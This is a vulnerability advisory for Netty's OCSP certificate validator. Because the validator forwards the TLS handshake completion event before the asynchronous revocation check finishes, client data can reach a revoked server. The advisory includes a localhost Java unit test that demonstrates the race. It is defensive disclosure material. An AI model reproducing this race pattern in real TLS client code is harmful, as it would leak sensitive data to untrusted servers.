GHSA-wc96-39fc-566f

    Dashboard / Vulnerabilities / GHSA-wc96-39fc-566f

    GHSA-wc96-39fc-566f

    Published: 22 Jul 2026Last Modified: 10 Sept 2026

    Summary: Netty: TOCTOU in OcspServerCertificateValidator

    Details: ### Summary Netty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check. ### Details In `io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered`, when an `SslHandshakeCompletionEvent` is received, the validator immediately calls `ctx.fireUserEventTriggered(evt)`. It then initiates an asynchronous OCSP query using `OcspClient.query`. Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it. ### PoC ```java @Test public void test() throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { OCSPRespBuilder respBuilder = new OCSPRespBuilder(); OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null); byte[] responseEncoded = response.getEncoded(); IoTransport mockTransport = IoTransport.create(group.next(), () -> { NioSocketChannel channel = new NioSocketChannel(); channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() { @Override public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) { promise.setSuccess(); ctx.executor().schedule(() -> { ctx.pipeline().fireChannelActive(); DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse( HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded)); httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response"); httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes()); ctx.pipeline().fireChannelRead(httpResponse); }, 500, TimeUnit.MILLISECONDS); } }); return channel; }, NioDatagramChannel::new); X509Bundle caRoot = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TrustedRootCA") .setIsCertificateAuthority(true) .buildSelfSigned(); GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/"); AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName)); X509Bundle targetCert = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TargetServer") .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded()) .buildIssuedBy(caRoot); SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build(); CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>(); CountDownLatch dataReceivedLatch = new CountDownLatch(1); new ServerBootstrap() .group(group) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc())); ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() { @Override protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) { receivedData.add(msg.toString(CharsetUtil.UTF_8)); dataReceivedLatch.countDown(); } }); } }) .bind(8080) .sync() .channel(); SslContext clientSslCtx = SslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .build(); DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport); Channel clientChannel = new Bootstrap() .group(group) .channel(NioSocketChannel.class) .handler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", 8080)); ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver)); ch.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void userEventTriggered(ChannelHandlerContext ctx, Object evt) { if (evt instanceof SslHandshakeCompletionEvent) { SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt; if (sslEvent.isSuccess()) { ctx.writeAndFlush(Unpooled.copiedBuffer("SECRET_DATA", CharsetUtil.UTF_8)); } } ctx.fireUserEventTriggered(evt); } }); } }) .connect("127.0.0.1", 8080) .sync() .channel(); assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS)); Thread.sleep(200); assertFalse(receivedData.contains("SECRET_DATA"), "Server should not receive the data."); } finally { group.shutdownGracefully(); } } ``` ### Impact TOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.

    Affected packages

    Package

    Name: io.netty:netty-handler-ssl-ocsp

    Purl: pkg:maven/io.netty/netty-handler-ssl-ocsp

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 4.2.0.Final
    Fixed -4.2.16.Final

    Affected versions

    4.2.0.Final
    4.2.1.Final
    4.2.10.Final
    4.2.11.Final
    4.2.12.Final
    4.2.13.Final
    4.2.14.Final
    4.2.15.Final
    4.2.2.Final
    4.2.3.Final
    4.2.4.Final
    4.2.5.Final
    4.2.6.Final
    4.2.7.Final
    4.2.8.Final
    4.2.9.Final

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High